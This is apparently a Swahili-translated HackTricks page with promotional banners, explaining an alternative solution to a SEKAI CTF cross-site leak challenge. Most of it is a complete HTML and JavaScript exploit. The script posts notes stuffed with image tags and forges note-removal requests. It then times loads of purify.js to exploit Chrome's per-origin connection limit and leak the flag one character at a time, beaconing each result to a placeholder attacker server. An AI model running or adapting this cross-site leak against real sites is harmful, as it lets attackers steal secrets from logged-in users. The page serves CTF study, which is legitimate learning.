Mfano wa Pool ya Uunganisho kwa Mwisho

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Je, unafanya kazi katika kampuni ya usalama wa mtandao? Je, ungependa kuona kampuni yako ikionekana katika HackTricks? Au ungependa kupata ufikiaji wa toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF? Angalia MPANGO WA KUJIUNGA!
Gundua Familia ya PEASS, mkusanyiko wetu wa kipekee wa NFTs
Pata swag rasmi ya PEASS & HackTricks
Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au nifuatilie kwenye Twitter 🐦@carlospolopm.
Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye repo ya hacktricks na repo ya hacktricks-cloud.

Katika udukuzi huu, @terjanq anapendekeza suluhisho jingine kwa changamoto iliyotajwa katika ukurasa ufuatao:

{% content-ref url="connection-pool-by-destination-example.md" %} connection-pool-by-destination-example.md {% endcontent-ref %}

Hebu tuone jinsi udukuzi huu unavyofanya kazi:

Mshambuliaji ataweka noti na vitambulisho vingi vya <img vinavyopakia /js/purify.js iwezekanavyo (zaidi ya 6 ili kuzuia asili).
Kisha, mshambuliaji atafanya kuondoa noti na index 1.
Kisha, mshambuliaji atafanya [bot kupata ukurasa] na atatuma ombi kwa victim.com/js/purify.js ambalo atalipima wakati.
Ikiwa wakati ni mkubwa, udukuzi ulikuwa kwenye noti iliyobaki, ikiwa wakati ni mdogo, bendera ilikuwa ndani yake.

{% hint style="info" %} Kweli, nikiisoma hati, nimekosa sehemu ambapo mshambuliaji anafanya bot kupakia ukurasa ili kuzindua vitambulisho vya img, sioni kitu kama hicho katika nambari {% endhint %}

<html>
<head>
<script>
const SITE_URL = 'https://safelist.ctf.sekai.team/';
const PING_URL = 'https://myserver';
function timeScript(){
return new Promise(resolve => {
var x = document.createElement('script');
x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();
var start = Date.now();
x.onerror = () => {
console.log(`Time: ${Date.now() - start}`); //Time request
resolve(Date.now() - start);
x.remove();
}
document.body.appendChild(x);
});
}

add_note = async (note) => {
let x = document.createElement('form')
x.action = SITE_URL + "create"
x.method = "POST"
x.target = "xxx"

let i = document.createElement("input");
i.type = "text"
i.name = "text"
i.value = note
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}

remove_note = async (note_id) => {
let x = document.createElement('form')
x.action = SITE_URL+"remove"
x.method = "POST"
x.target = "_blank"

let i = document.createElement("input");
i.type = "text"
i.name = "index"
i.value = note_id
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
// }zyxwvutsrqponmlkjihgfedcba_
const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
var prefix = 'SEKAI{xsleakyay';
const TIMEOUT = 500;
async function checkLetter(letter){
// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not.
// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
await add_note(payload);
await sleep(TIMEOUT);
await timeScript();
await remove_note(1); //Now, only the note with the flag or with the injection existsh
await sleep(TIMEOUT);
const time = await timeScript(); //Find out how much a request to the same origin takes
navigator.sendBeacon(PING_URL, [letter,time]);
if(time>100){
return 1;
}
return 0;
}
window.onload = async () => {
navigator.sendBeacon(PING_URL, 'start');
// doesnt work because we are removing flag after success.
// while(1){
for(const letter of alphabet){
if(await checkLetter(letter)){
prefix += letter;
navigator.sendBeacon(PING_URL, prefix);
break;
}
}
// }
};
</script>
</head>
<body>
</body>
</html>

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Je, unafanya kazi katika kampuni ya usalama wa mtandao? Je, ungependa kuona kampuni yako ikionekana katika HackTricks? Au ungependa kupata ufikiaji wa toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF? Angalia MPANGO WA KUJIUNGA!
Gundua Familia ya PEASS, mkusanyiko wetu wa kipekee wa NFTs
Pata swag rasmi ya PEASS & HackTricks
Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au nifuatilie kwenye Twitter 🐦@carlospolopm.
Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye repo ya hacktricks na repo ya hacktricks-cloud.

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Mfano wa Pool ya Uunganisho kwa Mwisho

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Raw Blame History